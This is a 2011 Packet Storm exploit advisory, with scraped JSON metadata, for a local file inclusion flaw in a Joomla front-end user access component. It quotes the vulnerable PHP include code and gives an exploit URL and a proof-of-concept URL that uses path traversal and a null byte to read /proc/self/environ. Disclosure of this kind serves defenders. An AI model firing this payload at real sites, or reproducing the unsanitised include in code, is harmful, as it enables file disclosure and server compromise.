ID PACKETSTORM:98002
Type packetstorm
Reporter wishnusakti
Modified 2011-01-31T00:00:00
Description
` ================================================================================================
Title : Joomla Component Front End User Access LFI Vulnerability
Developer: Carsten Engel
Download : http://www.pages-and-items.com/downloads/com_frontend-user-access_v3.4.0_j1.5_free.zip
Version :
Date : Sunday, 30 january 2011 - GMT +07:00 Jakarta, Indonesia
Author : wishnusakti + inc0mp13te
Contact : wishnusakti[at]gmail.com
================================================================================================
[+] Vulnerable
// Require specific controller if requested
if($controller = JRequest::getVar('controller')) {
require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
}
[+] Exploit
http://[site]/[path]/index.php?option=com_frontenduseraccess&controller=[LFI]
[+] PoC
http://localhost/index.php?option=com_frontenduseraccess&controller=../../../../../../../../../../proc/self/environ%00
================================================================================================
Very Special thanks :
Penghuni priv8 Server
(ander, NoGe, zxvf, kaka11, s4va, meylira, Jack, aJe, Unyil, s4va, cheche angela zhang, madonk, & Bot² Scan :D)
en Semua Komunitas Hacking Tanah Air
Peace Yo :)
to all my friends :
cakill, aurell, hafiz, xco, xshadow, gblack, krembis, biakkobar, hendri_note
================================================================================================
# ./wishnusakti + inc0mp13te
`
{"type": "packetstorm", "published": "2011-01-31T00:00:00", "reporter": "wishnusakti", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "240d129ee9c734f27d3366d2e04f2ae0"}, {"key": "modified", "hash": "ab99fc7df628ef1a78a580dcd159087d"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "ab99fc7df628ef1a78a580dcd159087d"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "e6ff327cff47463cd641c7446c29596b"}, {"key": "sourceData", "hash": "bdfb0f0852d05fd2f4e0b7979b03669f"}, {"key": "sourceHref", "hash": "22832fd505a8f3328843d6bb001d4d7e"}, {"key": "title", "hash": "a72d439bbb2d4a4cc1ead3fb09f0fb41"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "` ================================================================================================ \n \nTitle : Joomla Component Front End User Access LFI Vulnerability \nDeveloper: Carsten Engel \nDownload : http://www.pages-and-items.com/downloads/com_frontend-user-access_v3.4.0_j1.5_free.zip \nVersion : \nDate : Sunday, 30 january 2011 - GMT +07:00 Jakarta, Indonesia \nAuthor : wishnusakti + inc0mp13te \nContact : wishnusakti[at]gmail.com \n \n================================================================================================ \n \n[+] Vulnerable \n \n// Require specific controller if requested \nif($controller = JRequest::getVar('controller')) { \nrequire_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php'); \n} \n \n[+] Exploit \n \nhttp://[site]/[path]/index.php?option=com_frontenduseraccess&controller=[LFI] \n \n[+] PoC \n \nhttp://localhost/index.php?option=com_frontenduseraccess&controller=../../../../../../../../../../proc/self/environ%00 \n \n \n================================================================================================ \n \nVery Special thanks : \n \nPenghuni priv8 Server \n \n(ander, NoGe, zxvf, kaka11, s4va, meylira, Jack, aJe, Unyil, s4va, cheche angela zhang, madonk, & Bot\u00b2 Scan :D) \n \n \nen Semua Komunitas Hacking Tanah Air \n \nPeace Yo :) \n \n \nto all my friends : \n \ncakill, aurell, hafiz, xco, xshadow, gblack, krembis, biakkobar, hendri_note \n================================================================================================ \n \n# ./wishnusakti + inc0mp13te \n`\n", "viewCount": 0, "history": [], "lastseen": "2016-11-03T10:16:45", "objectVersion": "1.2", "href": "https://packetstormsecurity.com/files/98002/Joomla-Front-End-User-Access-Local-File-Inclusion.html", "sourceHref": "https://packetstormsecurity.com/files/download/98002/joomlafrontend-lfi.txt", "title": "Joomla Front End User Access Local File Inclusion", "enchantments": {"vulnersScore": 2.1}, "references": [], "id": "PACKETSTORM:98002", "hash": "c528719d6b08fc4ef63b80fa4cdf12d24e744b856bd3c025044e8e8c45f1287e", "edition": 1, "cvelist": [], "modified": "2011-01-31T00:00:00", "description": ""}
{"result": {}}
